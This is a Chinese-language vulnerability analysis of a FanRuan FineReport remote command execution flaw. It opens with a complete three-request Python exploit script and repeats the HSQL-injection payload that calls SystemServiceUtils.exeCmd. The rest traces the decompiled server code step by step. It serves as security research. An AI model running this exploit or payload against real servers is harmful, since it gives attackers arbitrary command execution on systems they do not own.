漏洞来源

参考:https://github.com/aicoa/hound/blob/2222bbff82764e270ed0e0762ca99fdde62c36d8/config/afrog-pocs/vulnerability/fanruan-finereport-fr-log-rce.yaml#L23

https://xz.aliyun.com/news/10512

方便调试分析,编写出脚本:

import requests
import re
import json
import sys

# -----------------------------
# 检查命令行参数
# -----------------------------
if len(sys.argv) != 2:
    print(f"用法: python {sys.argv[0]} <命令>")
    exit(1)

cmd_to_run = sys.argv[1]
print(f"[*] 将执行命令: {cmd_to_run}")

# -----------------------------
# 配置部分
# -----------------------------
host = "http://192.168.49.131/seeyonreport"
report_server = f"{host}/ReportServer"

# -----------------------------
# 1. 获取 sessionID (r0)
# -----------------------------
r0_url = f"{report_server}?op=fr_log&cmd=fg_errinfo&fr_username=admin"
print("[*] 请求 r0 获取 sessionID...")
resp = requests.get(r0_url, verify=False)
print("Status:", resp.status_code)

# 提取 sessionID
session_match = re.search(r'sessionID=([0-9A-Za-z\-]+)', resp.text)
if not session_match:
    print("[-] 没有找到 sessionID")
    exit(1)

session_id = session_match.group(1)
print("[+] 提取到 sessionID:", session_id)

# -----------------------------
# 2. 发起 parameters_d (r1)
# -----------------------------
r1_url = f"{report_server}?op=fr_dialog&cmd=parameters_d&sessionID={session_id}&fr_username=admin"
payload = {
    '__parameters__': json.dumps({
        "LABEL1": "TYPE:",
        "TYPE": f'6;CREATE ALIAS RUMCMD FOR "com.fr.chart.phantom.system.SystemServiceUtils.exeCmd";CALL RUMCMD(\'{cmd_to_run}\');select msg, trace, sinfo, logtime from fr_errrecord where 1=1',
        "LABEL3": "START_TIME:",
        "START_TIME": "2020-08-11 00:00",
        "LABEL5": "END_TIME:",
        "END_TIME": "2020-08-11 16:41",
        "LABEL7": "LIMIT:",
        "LIMIT": 2
    })
}

print("[*] 请求 r1 parameters_d ...")
resp = requests.post(r1_url, data=payload, verify=False)
print("Status:", resp.status_code)

# -----------------------------
# 3. GET 访问 page_content (r2)
# -----------------------------
r2_url = f"{report_server}?_=op=page_content&sessionID={session_id}&pn=1"

print("[*] 请求 r2 page_content ...")
resp = requests.get(r2_url, verify=False)
print("Status:", resp.status_code)

第一步是为了获取 sessionID 为后两步需要 id 的接口做准备。

第二步是相当于是为了保存配置。

第三步是真正触发点。

r0

r0 请求是通过访问 /seeyonreport/ReportServer?op=fr_log&cmd=fg_errinfo&fr_username=admin,从返回包中获取 sessionID。

经过之前整体的分析,我们直接定位 fr_log。

可以找到 com.fr.web.core.A.DC 类。

public class DC extends NoSessionIDService {
    private ActionNoSessionCMD[] A = new ActionNoSessionCMD[]{new CE(), new jB(), new TA(), new pA(), new QC(), new wD(), new j(), new TB(), new AD(), new VB(), new vD()};

    public DC() {
    }

    public String actionOP() {
        return "fr_log";
    }

    public void process(HttpServletRequest var1, HttpServletResponse var2, String var3) throws Exception {
        PrivilegeManagerProvider var4 = PrivilegeManager.getProviderInstance();
        String var5 = NetworkHelper.getHTTPRequestParameter(var1, "fr_username");
        if (!StringUtils.isEmpty(var5) && ComparatorUtils.equals(var5, var4.getRootManagerName())) {
            WebActionsDispatcher.dealForActionNoSessionIDCMD(var1, var2, this.A);
        } else {
            throw new RuntimeException(Inter.getLocText("FR-Engine_No_Priviledege"));
        }
    }
}

这里继承了 NoSessionIDService,顾名思义不需要 SessionID 的服务。

首先创建了一个数组存储了无 session 服务的命令对象,然后设置 op=fr_log。

再是核心方法 process,可以看到有一个鉴权通过传入的参数 fr_username,判断是否和 getRootManagerName() 得到的值相等,然后再是将请求分发到命令数组执行对应命令。

跟进 dealForActionNoSessionIDCMD 方法。

public static void dealForActionNoSessionIDCMD(HttpServletRequest var0, HttpServletResponse var1, ActionNoSessionCMD[] var2) throws Exception {
    String var3 = WebUtils.getHTTPRequestParameter(var0, "op");
    String var4 = WebUtils.getHTTPRequestParameter(var0, "cmd");
    String var5 = WebUtils.getHTTPRequestParameter(var0, "pid");
    ExtraClassManagerProvider var6 = (ExtraClassManagerProvider)PluginModule.getAgent(PluginModule.ExtraCore);
    RequestCMDReceiver var7 = null;
    if (var6 != null) {
        var7 = var6.getActionCMD(var3, var4, var5);
    }

    if (var7 != null) {
        var7.actionCMD(var0, var1);
    } else {
        ActionNoSessionCMD[] var8 = var2;
        int var9 = var2.length;

        for(int var10 = 0; var10 < var9; ++var10) {
            ActionNoSessionCMD var11 = var8[var10];
            String var12 = var11.getCMD();
            if (var12.equalsIgnoreCase(var4)) {
                var11.actionCMD(var0, var1);
                return;
            }
        }
    }

}

遍历 var2 数组 → DC 的 A 数组,调用 getCMD() 匹配请求的 cmd 参数。

我们还可以跟进 PrivilegeManager.getRootManagerName() 去看看。

返回的是 admin,也就是我们 poc 中看到传入的值,证明这个 poc 是事先需要知道 rootManagerName 才能进行攻击。

接着我们定位 fg_errinfo。

去看 com.fr.web.core.A.AD。

public class AD extends ActionNoSessionCMD {
    public AD() {
    }

    public void actionCMD(HttpServletRequest var1, HttpServletResponse var2) throws Exception {
        ReportletDealWith.dealWithEmbeddedReportlet(var1, var2, ReportletUtils.createEmbeddedReportlet("/com/fr/web/log/logerr_info.cpt", ActorFactory.getActor("nopage"), Collections.EMPTY_MAP));
    }

    public String getCMD() {
        return "fg_errinfo";
    }
}

这里有一个文件路径,它其实是一个 xml 文件,是 FineReport 的报表模板文件(WorkBook)。里面配置了一个工作表(WorkSheet),数据源(TableData),单元格布局,参数面板等等。

根据对应的文件返回了一个 EmbeddedTplReportlet 对象,可以来看看这个文件。

<?xml version="1.0" encoding="UTF-8"?>
<WorkBook xmlVersion="20110221">
  <TableDataMap>
    <TableData name="程序1" class="com.fr.data.impl.ClassTableData">
      <ClassTableDataAttr className="com.fr.report.log.Err2RecordDBTableData"/>
    </TableData>
  </TableDataMap>
  <Report class="com.fr.report.WorkSheet" name="sheet1">
    <ReportPageAttr>
      <HR F="0" T="2"/>
      <FR/>
      <HC/>
      <FC/>
    </ReportPageAttr>
    <RowHeight defaultValue="723900">
      <![CDATA[723900,723900,723900,1143000,1028700,723900,723900,723900,723900,723900,723900]]></RowHeight>
    <ColumnWidth defaultValue="2743200">
      <![CDATA[838200,4533900,9258300,23088600,7581900,3505200,2743200,2743200,2743200,2743200,2743200]]></ColumnWidth>
    <CellElementList>
      <C c="0" r="0" s="0">
        <Expand/>
      </C>
      <C c="1" r="0" cs="4" rs="2" s="1">
        <O>
          <![CDATA[报表错误记录查询]]></O>
        <Expand/>
      </C>
      <C c="0" r="1">
        <Expand/>
      </C>
      <C c="1" r="2" cs="2">
        <O t="Formula" class="Formula">
          <Attributes>
            <![CDATA[="最大预览行数 : " + $LIMIT]]></Attributes>
        </O>
        <Expand/>
      </C>
      <C c="1" r="3" s="2">
        <O>
          <![CDATA[时间]]></O>
        <Expand/>
      </C>
      <C c="2" r="3" s="2">
        <O>
          <![CDATA[错误信息]]></O>
        <Expand/>
      </C>
      <C c="3" r="3" s="2">
        <O>
          <![CDATA[错误路径]]></O>
        <Expand/>
      </C>
      <C c="4" r="3" s="2">
        <O>
          <![CDATA[错误来源信息]]></O>
        <Expand/>
      </C>
      <C c="1" r="4" s="3">
        <O t="DSColumn">
          <Attributes dsName="程序1" columnName="LOGTIME"/>
          <Complex/>
          <RG class="com.fr.report.cellElement.core.FunctionGrouper">
            <Attr divideMode="1"/>
          </RG>
          <Parameters/>
        </O>
        <HighlightList>
          <Highlight class="com.fr.report.highlight.DefaultHighlight">
            <Name>
              <![CDATA[条件属性1]]></Name>
            <Condition class="com.fr.data.condition.FormulaCondition">
              <Formula>
                <![CDATA[row() % 10 == 0]]></Formula>
            </Condition>
            <HighlightAction class="com.fr.report.highlight.PageHighlightAction">
              <P i="1"/>
            </HighlightAction>
          </Highlight>
        </HighlightList>
        <Expand dir="0"/>
      </C>
      <C c="2" r="4" s="3">
        <O t="DSColumn">
          <Attributes dsName="程序1" columnName="MSG"/>
          <Complex/>
          <RG class="com.fr.report.cellElement.core.FunctionGrouper"/>
          <Parameters/>
        </O>
        <Expand dir="0"/>
      </C>
      <C c="3" r="4" s="3">
        <O t="DSColumn">
          <Attributes dsName="程序1" columnName="TRACE"/>
          <Complex/>
          <RG class="com.fr.report.cellElement.core.FunctionGrouper"/>
          <Parameters/>
        </O>
        <Expand dir="0"/>
      </C>
      <C c="4" r="4" s="3">
        <O t="DSColumn">
          <Attributes dsName="程序1" columnName="SINFO"/>
          <Complex/>
          <RG class="com.fr.report.cellElement.core.FunctionGrouper"/>
          <Parameters/>
        </O>
        <Expand dir="0"/>
      </C>
      <C c="2" r="8">
        <Expand/>
      </C>
    </CellElementList>
    <ReportAttrSet>
      <ReportSettings headerHeight="0" footerHeight="0">
        <PaperSetting/>
      </ReportSettings>
      <Header reportPageType="0">
        <Background name="NullBackground"/>
        <LeftList/>
        <CenterList/>
        <RightList/>
      </Header>
      <Footer reportPageType="0">
        <Background name="NullBackground"/>
        <LeftList/>
        <CenterList/>
        <RightList/>
      </Footer>
    </ReportAttrSet>
  </Report>
  <ReportParameterAttr>
    <Attributes showWindow="true" delayPlaying="true" windowPosition="1" align="1"/>
    <PWTitle>
      <![CDATA[参数]]></PWTitle>
    <ParameterUI class="com.fr.report.parameter.CustomParameterUI">
<ReportPageAttr>
<HR/>
<FR/>
<HC/>
<FC/>
</ReportPageAttr>
<RowHeight defaultValue="723900">
<![CDATA[381000,876300,381000,723900,381000,876300,381000,723900,723900,723900,723900]]></RowHeight>
<ColumnWidth defaultValue="2743200">
<![CDATA[3048000,5334000,3048000,5334000,3048000,5334000,2743200,2743200,2743200,2743200,2743200]]></ColumnWidth>
<CellElementList>
<C c="0" r="1" s="4">
<O>
<![CDATA[TYPE:]]></O>
<Expand/>
</C>
<C c="1" r="1">
<O t="I">
<![CDATA[10]]></O>
<Widget class="com.fr.report.web.ui.ComboBox">
<WidgetName name="TYPE"/>
<WidgetAttr/>
<allowBlank>
<![CDATA[false]]></allowBlank>
<DirectEdit>
<![CDATA[false]]></DirectEdit>
<Dictionary class="com.fr.data.impl.CustomDictionary">
<CustomDictAttr>
<Dict key="10" value="全部"/>
<Dict key="0" value="执行出错"/>
<Dict key="1" value="导出出错"/>
<Dict key="3" value="页面写出出错"/>
<Dict key="4" value="文件读入出错"/>
<Dict key="5" value="文件写出出错"/>
<Dict key="6" value="其它出错"/>
</CustomDictAttr>
</Dictionary>
</Widget>
<Expand/>
</C>
<C c="2" r="1" s="4">
<O>
<![CDATA[START_TIME:]]></O>
<Expand/>
</C>
<C c="3" r="1" s="5">
<O t="Formula" class="Formula">
<Attributes>
<![CDATA[=format(today(), "yyyy-MM-dd HH:mm")]]></Attributes>
</O>
<Widget class="com.fr.report.web.ui.DateTimeEditor">
<WidgetName name="START_TIME"/>
<WidgetAttr/>
<allowBlank>
<![CDATA[false]]></allowBlank>
<DateAttr start="" end=""/>
</Widget>
<Expand/>
</C>
<C c="4" r="1" s="4">
<O>
<![CDATA[END_TIME:]]></O>
<Expand/>
</C>
<C c="5" r="1" s="5">
<O t="Formula" class="Formula">
<Attributes>
<![CDATA[=format(datetime(), "yyyy-MM-dd HH:mm")]]></Attributes>
</O>
<Widget class="com.fr.report.web.ui.DateTimeEditor">
<WidgetName name="END_TIME"/>
<WidgetAttr/>
<allowBlank>
<![CDATA[false]]></allowBlank>
<DateAttr start="" end=""/>
</Widget>
<Expand/>
</C>
<C c="0" r="3" s="4">
<O>
<![CDATA[LIMIT:]]></O>
<Expand/>
</C>
<C c="1" r="3">
<O t="I">
<![CDATA[1000]]></O>
<Widget class="com.fr.report.web.ui.NumberEditor">
<WidgetName name="LIMIT"/>
<WidgetAttr/>
<allowBlank>
<![CDATA[false]]></allowBlank>
<NumberAttr allowDecimals="false" allowNegative="false"/>
</Widget>
<Expand/>
</C>
<C c="1" r="5" cs="6" s="4">
<Widget class="com.fr.report.web.ui.impl.form.FormSubmitButton">
<WidgetAttr/>
<Text>
<![CDATA[查询]]></Text>
<Hotkeys>
<![CDATA[enter]]></Hotkeys>
</Widget>
<Expand/>
</C>
<C c="0" r="6">
<Expand/>
</C>
</CellElementList>
<ReportAttrSet>
<ReportSettings headerHeight="0" footerHeight="0">
<PaperSetting/>
</ReportSettings>
</ReportAttrSet>
</ParameterUI>
<Parameter>
<Attributes name="LIMIT"/>
<O t="I">
<![CDATA[1000]]></O>
</Parameter>
</ReportParameterAttr>
<StyleList>
<Style>
<FRFont name="SimSun" style="0" size="144"/>
<Background name="NullBackground"/>
<Border/>
</Style>
<Style>
<FRFont name="SimSun" style="0" size="144"/>
<Background name="ColorBackground" color="-16724737"/>
<Border>
<Top style="1"/>
<Bottom style="1"/>
<Left style="1"/>
<Right style="1"/>
</Border>
</Style>
<Style>
<FRFont name="SimSun" style="0" size="72"/>
<Background name="NullBackground"/>
<Border>
<Top style="1"/>
<Bottom style="1"/>
<Left style="1"/>
<Right style="1"/>
</Border>
</Style>
<Style vertical_alignment="1">
<FRFont name="SimSun" style="0" size="72"/>
<Background name="NullBackground"/>
<Border>
<Top style="1"/>
<Bottom style="1"/>
<Left style="1"/>
<Right style="1"/>
</Border>
</Style>
<Style horizontal_alignment="4">
<FRFont name="SimSun" style="0" size="72"/>
<Background name="NullBackground"/>
<Border/>
</Style>
<Style>
<Format class="java.text.SimpleDateFormat">
<![CDATA[yyyy-MM-dd HH:mm]]></Format>
<FRFont name="SimSun" style="0" size="72"/>
<Background name="NullBackground"/>
<Border/>
</Style>
</StyleList>
</WorkBook>

可以看出后面应该会根据这个进行渲染,往后跟进 dealWithEmbeddedReportlet 方法。

public static void dealWithEmbeddedReportlet(HttpServletRequest var0, HttpServletResponse var1, EmbeddedTplReportlet var2) throws Exception {
    String var3 = SessionDealWith.generateSessionID(var0, var1, var2);
    if (var3 != null && SessionDealWith.hasSessionID(var3)) {
        dealWithPageHtml(var0, var1, var3, var2.getActor());
    }
}

看样子是生成了一个 SessionID,然后并对其进行了验证,随后继续处理。

我们可以看看这个生成的 SessionID 是否就是漏洞利用需要的。

下断点得到 id 为 27978。

证明我们的 SessionID 确实是从这得到的,后续根据这里的生成可能可以找到其他获取 SessionID 的方法。

继续往后面跟,进入 dealWithPageHtml 方法。

private static void dealWithPageHtml(HttpServletRequest var0, HttpServletResponse var1, String var2, Actor var3) throws Exception {
    ReportSessionIDInfor var4 = (ReportSessionIDInfor)SessionDealWith.getSessionIDInfor(var2);
    if (var4 != null) {
        if (var3 == null) {
            var3 = ActorFactory.getActor(var0, var4.getActor());
        }

        if (WebUtils.getDevice(var0).isMobile()) {
            dealWithMobile(var0, var1, var4, var3);
        } else {
            dealWithHtml(var0, var1, var4, var3);
        }

    }
}

这里的 var2 就是 sessionID。SessionDealWith.getSessionIDInfor(sessionID) 会从服务端内存缓存里找到这个 ID 对应的 ReportSessionIDInfor 对象。

这个对象里保存着:模板路径 (tplPath)、模板参数(parameterMap)、当前报表的数据上下文、用户态 (Actor)等。

我们可以跟进看看这个方法。

public static SessionIDInfor getSessionIDInfor(String var0) {
    if (!StringUtils.isBlank(var0) && !sessionToDelete.contains(var0)) {
        synchronized(SESSION_ID_MAP_LOCK) {
            return (SessionIDInfor)sessionIDMap.get(var0);
        }
    } else {
        return null;
    }
}

这里判断 sessionID 是否为空并且是否在删除列表中,如果检查通过就会返回 SessionIDInfor 对象。在后面经常会用到这个方法以判断 sessionID 的有效性。

我们再回到返回包了解一下这个 sessionID。

可以看到 sessionID 被注册到前端 JS 对象里,前端提交参数时会携带 sessionID,后端通过它在内存里找到 ReportSessionIDInfor,再把参数绑定进去,这样后续渲染报表时上下文才完整。

也就是说,sessionID 就是前端和后端上下文的纽带。

继续往后走,这里总流程就是根据 sessionID 拿到报表上下文对象 → 解析当前访问者的身份 → 按设备类型输出不同版本的页面。

我们这里自然是走到 dealWithHtml。

private static void dealWithHtml(HttpServletRequest var0, HttpServletResponse var1, ReportSessionIDInfor var2, Actor var3) throws IOException {
    Map var4 = var3.createContext4Tpl(var0, var2);
    makeSureNotUseCacheWhenBack(var1);
    String var5 = (String)var2.getParameterValue("fr_locale");
    if (StringUtils.isNotEmpty(var5)) {
        var4.put("__fr_locale__", var5);
    } else {
        var4.put("__fr_locale__", WebUtils.getHTTPRequestParameter(var0, "fr_locale"));
    }

    var4.put("__v__", GeneralUtils.readBuildNO());
    String var6 = createScriptPlaceHolderString();
    if (StringUtils.isNotEmpty(var6)) {
        var4.put("PageScript", var6);
    }

    String var7 = createStylePlaceHolderString();
    if (StringUtils.isNotEmpty(var7)) {
        var4.put("PageStyle", var7);
    }

    if (AMDConstants.isSupportAMD()) {
        var4.put("mainConfig", TemplateUtils.renderTemplate("/com/fr/web/main_config.js", var4));
        var4.put("entry", TemplateUtils.renderTemplate("/com/fr/web/core/tpl/page.entry.tpl", var4));
    }

    try {
        var3.flushHtml(var0, var1, var4, var2);
    } catch (Exception var9) {
        FRContext.getLogger().error(var9.getMessage(), var9);
    }

}

最后在 flushHtml 就进行渲染了,这一次的渲染给前端提供了 sessionID,为后续请求中 sessionID 的携带做了准备。

r1

r1 请求是 /seeyonreport/ReportServer?op=fr_dialog&cmd=parameters_d&sessionID=15378

拿到 r0 请求获取到的 sessionID,然后 post 传参

__parameters__=({"LABEL1":"TYPE:","TYPE":"6;CREATE ALIAS RUMCMD FOR \"com.fr.chart.phantom.system.SystemServiceUtils.exeCmd\";CALL RUMCMD('calc');select msg, trace, sinfo, logtime from fr_errrecord where 1=1","LABEL3":"START_TIME:","START_TIME":"2020-08-11 00:00","LABEL5":"END_TIME:","END_TIME":"2020-08-11 16:41","LABEL7":"LIMIT:","LIMIT":2}

可以看到是通过 hsql 进行注入然后 rce 的。

但是直接通过这个包并不会触发,有点类似于之前的保存数据库配置,但是没有连接的地方,所以后面需要用到 r2。

直接定位 parameters_d,在 com.fr.web.core.A.PD。

public class PD extends ActionNoSessionCMD {
    public PD() {
    }

    public String getCMD() {
        return "parameters_d";
    }

    public void actionCMD(HttpServletRequest var1, HttpServletResponse var2, String var3) throws Exception {
        SessionIDInfor var4 = SessionDealWith.getSessionIDInfor(var3);
        if (var4 == null) {
            ErrorHandlerHelper.getErrorHandler().error(var1, var2, "SessionID: \"" + var3 + "\" time out.");
        } else {
            HttpSession var5 = var1.getSession(false);
            if (var5 != null) {
                String var6 = (String)var5.getAttribute("fr_username");
                if (StringUtils.isNotEmpty(var6)) {
                    TemplateIdAttrMark var7 = (TemplateIdAttrMark)var4.getIOFileAttrMark("TemplateIdAttMark");
                    if (var7 != null && StringUtils.isNotEmpty(var7.getTemplateId())) {
                        LogUtils.recordParamsExeRecord(var7.getTemplateId(), var1.getParameter("__parameters__"), var6);
                    }
                }
            }

            DataSourcePoolProcessor var8 = (DataSourcePoolProcessor)ExtraClassManager.getInstance().getSingle("DataSourcePoolProcessor");
            if (var8 != null) {
                var8.clear();
            }

            var4.applySessionIDInforParameters(var1);
            var4.clearPageSet();
            var4.clearPrintPreviewPageSet();
            var4.clearPerformanceInfo();
            var4.removeAttribute("stash_data_imported");
            WebUtils.printAsString(var2, "");
        }
    }
}

这里先是根据 sessionID 取到了 ReportSessionIDInfor 对象。

然后就是一系列的判断了,看样子中间有个 __parameters__像是我们想要的,但其实走不到里面。

往后走尝试拿全局数据源池处理器,但也是返回 null。

后面就是对 ReportSessionIDInfor 对象的一系列操作了,我们跟进去看。

ReportSessionIDInfor.applySessionIDInforParameters。

public void applySessionIDInforParameters(HttpServletRequest var1) {
    if (this.parameterMap4Execute == null) {
        this.parameterMap4Execute = CalculatorMap.createEmptyMap();
    }

    Map var2 = WebUtils.parameters4SessionIDInfor(var1);
    this.parameterMap4Execute.putAll(var2);
    ProcessProvider var3 = (ProcessProvider)StableFactory.getMarkedInstanceObjectFromClass("processBridge", ProcessProvider.class);
    if (var3 != null) {
        this.parameterMap4Execute.putAll(var3.mixProcessParameters(var1, new ReportRepositoryDeal(var1, this)));
    }

}

首先看当前 parameterMap4Execute,为空就创建一个 CalculatorMap。

然后再是处理请求,我们可以跟进去看一下这个 parameter4SessionIDInfor。

它有个关键点是创建了一个 Map,然后收集了请求中的各种参数存入 Map。

var1.putAll(((RequestParameterCollector)var3).getParametersFromSession(var0));
var1.putAll(((RequestParameterCollector)var3).getParametersFromAttribute(var0));
var1.putAll(((RequestParameterCollector)var3).getParametersFromParameter(var0));
var1.putAll(((RequestParameterCollector)var3).getParametersFromJSON(var0, var1));
var1.putAll(((RequestParameterCollector)var3).getParametersFromReqInputStream(var0));
  • Session: 从 HttpSession 中存储的变量。
  • Request Attribute: 服务器端设置的 request attribute。
  • Request Parameter: URL 查询字符串或者 POST 表单。
  • JSON Body: 如果请求是 JSON,解析它。
  • 请求流 InputStream: 原始请求体(可用于 POST 其他格式)。

我们可以看看从 WebUtils.parameters4SessionIDInfor 返回出来的 var2。

可以看到我们熟悉的 payload。接着走将刚刚获取的 Map 存入了 this.parameterMap4Execute。也就是绑定到 session 上下文的。

ProcessProvider var3 = (ProcessProvider)StableFactory.getMarkedInstanceObjectFromClass("processBridge", ProcessProvider.class);
if (var3 != null) {
    this.parameterMap4Execute.putAll(var3.mixProcessParameters(var1, new ReportRepositoryDeal(var1, this)));
}

后面就是把前端请求和可选插件提供的参数合并到报表执行上下文(parameterMap4Execute)里,为后续报表处理提供统一参数,但这里 var3 看不到东西,作用应该不大。

到这可以知道我们的参数传入了 session 上下文,只需要在 r2 做查询即可触发。

r2

r2 抓包的话有一些无关的参数,能够触发的完整请求是 /seeyonreport/ReportServer?op=page_content&sessionID=15915&pn=1。

先定位 page_content 到 com.fr.web.core.A.BC。

public class BC implements Service {
    private RequestCMDReceiver[] A = new RequestCMDReceiver[]{new RB(), new yD()};

    public BC() {
    }

    public String actionOP() {
        return "page_content";
    }

    public void process(HttpServletRequest var1, HttpServletResponse var2, String var3, String var4) throws Exception {
        WebActionsDispatcher.dealForActionDefaultCmd(var1, var2, var4, this.A, "html");
    }
}

定义了一组命令对象,和前面类似,跟进 dealForActionDeaultCmd。

我们 dealForActionDeaultCmd 方法最后一个参数传入的是 html,这里赋值给了 cmd。

接着走进 dealForActionCMD。

public static void dealForActionCMD(HttpServletRequest var0, HttpServletResponse var1, String var2, RequestCMDReceiver[] var3, String var4) throws Exception {
    String var5 = WebUtils.getHTTPRequestParameter(var0, "op");
    String var6 = WebUtils.getHTTPRequestParameter(var0, "pid");
    ExtraClassManagerProvider var7 = (ExtraClassManagerProvider)PluginModule.getAgent(PluginModule.ExtraCore);
    RequestCMDReceiver var8 = null;
    if (var7 != null) {
        var8 = var7.getActionCMD(var5, var4, var6);
    }

    if (var8 != null) {
        var8.actionCMD(var0, var1, var2);
    } else {
        RequestCMDReceiver[] var9 = var3;
        int var10 = var3.length;

        for(int var11 = 0; var11 < var10; ++var11) {
            RequestCMDReceiver var12 = var9[var11];
            String var13 = var12.getCMD();
            if (var13.equalsIgnoreCase(var4)) {
                var12.actionCMD(var0, var1, var2);
                return;
            }
        }
    }

}

这一段实际上就是选择命令对象,也就是前面默认的 html。

前面数组中的 RB 则是 html 对应的命令对象。

public class RB extends ActionNoSessionCMD {
    public static final String A = "html";

    public RB() {
    }

    public void actionCMD(HttpServletRequest var1, HttpServletResponse var2, String var3) throws Exception {
        ReportFitProcessor var4 = (ReportFitProcessor)ExtraClassManager.getInstance().getSingle("ReportFitProcessor");
        if (var4 != null) {
            var4.applyFitPara(var1);
        }

        FC.A().A(var3, var1, var2);
    }

    public String getCMD() {
        return "html";
    }
}

前面一段我们之前也见过,通过 ExtraClassManager 查找插件或扩展类。

不过这里是 null,关键点在后面,继续跟进。

拿到 FC 实例,然后调用其 A 方法。

public void A(String var1, HttpServletRequest var2, HttpServletResponse var3) throws Exception {
    ReportSessionIDInfor var4 = this.A(var1);
    if (var4 != null) {
        ReportPageProvider var5 = this.A(var2, var4);
        if (var5 != null) {
            var5 = var5.deriveResolution(96);
            this.A(var5, var4, var2, var3);
        }
    }
}

第一行很眼熟,其实就是通过 id 取到我们的 ReportSessionIDInfor 对象。

接着跟下面的 this.A。

protected ReportPageProvider A(HttpServletRequest var1, ReportSessionIDInfor var2) {
    int var3 = WebUtils.receivePageNumber(var1);
    return this.A(var1, var2, var3);
}

继续跟进 receivePageNumber。

public static int receivePageNumber(HttpServletRequest var0) {
    int var1 = 0;
    String var2 = getHTTPRequestParameter(var0, "pn");
    if (var2 != null) {
        Number var3 = Utils.string2Number(var2);
        if (var3 == null || (var1 = var3.intValue()) < 0) {
            var1 = Integer.MAX_VALUE;
        }
    }

    return var1;
}

可以看到我们传的参数 pn 了,获取值就返回了。

继续跟 this.A。

protected ReportPageProvider A(HttpServletRequest var1, ReportSessionIDInfor var2, int var3) {
    return var2.getReportPage(var3);
}

根据我们传入的 pn 页码获取一个 ReportPageProvider 对象。

public ReportPageProvider getReportPage(int var1) {
synchronized(this) {
    if (var1 < 1) {
        return null;
    } else {
        this.createPageSetChain();
        ReportPageProvider var3 = this.pageSetChain.getPage(var1 - 1);
        if (var3 == null && this.pageSetChain.isSizePredictable()) {
            var3 = this.pageSetChain.getPage(this.pageSetChain.size() - 1);
        }

        return var3;
    }
}
}

关键点就 this.createPageSetChain(); 直接一步步打断点看哪里弹出计算器就能够发现。

我们直接去寻找触发前的一步,payload 应该是一直存储在那个 session 上下文中,最后才触发,中间的大部分逻辑可以不需要再分析。

正常跟一直能到 com.fr.report.worksheet.WorkSheet 的 execute 方法。

继续跟进后就开始乱跳了,不过静态分析表达式求值,可以稍微深入一点,但此时左边的堆栈并不是准的。

最后深入到 com.fr.report.core.A.J 的 C 方法。后面再回看,调用栈如下。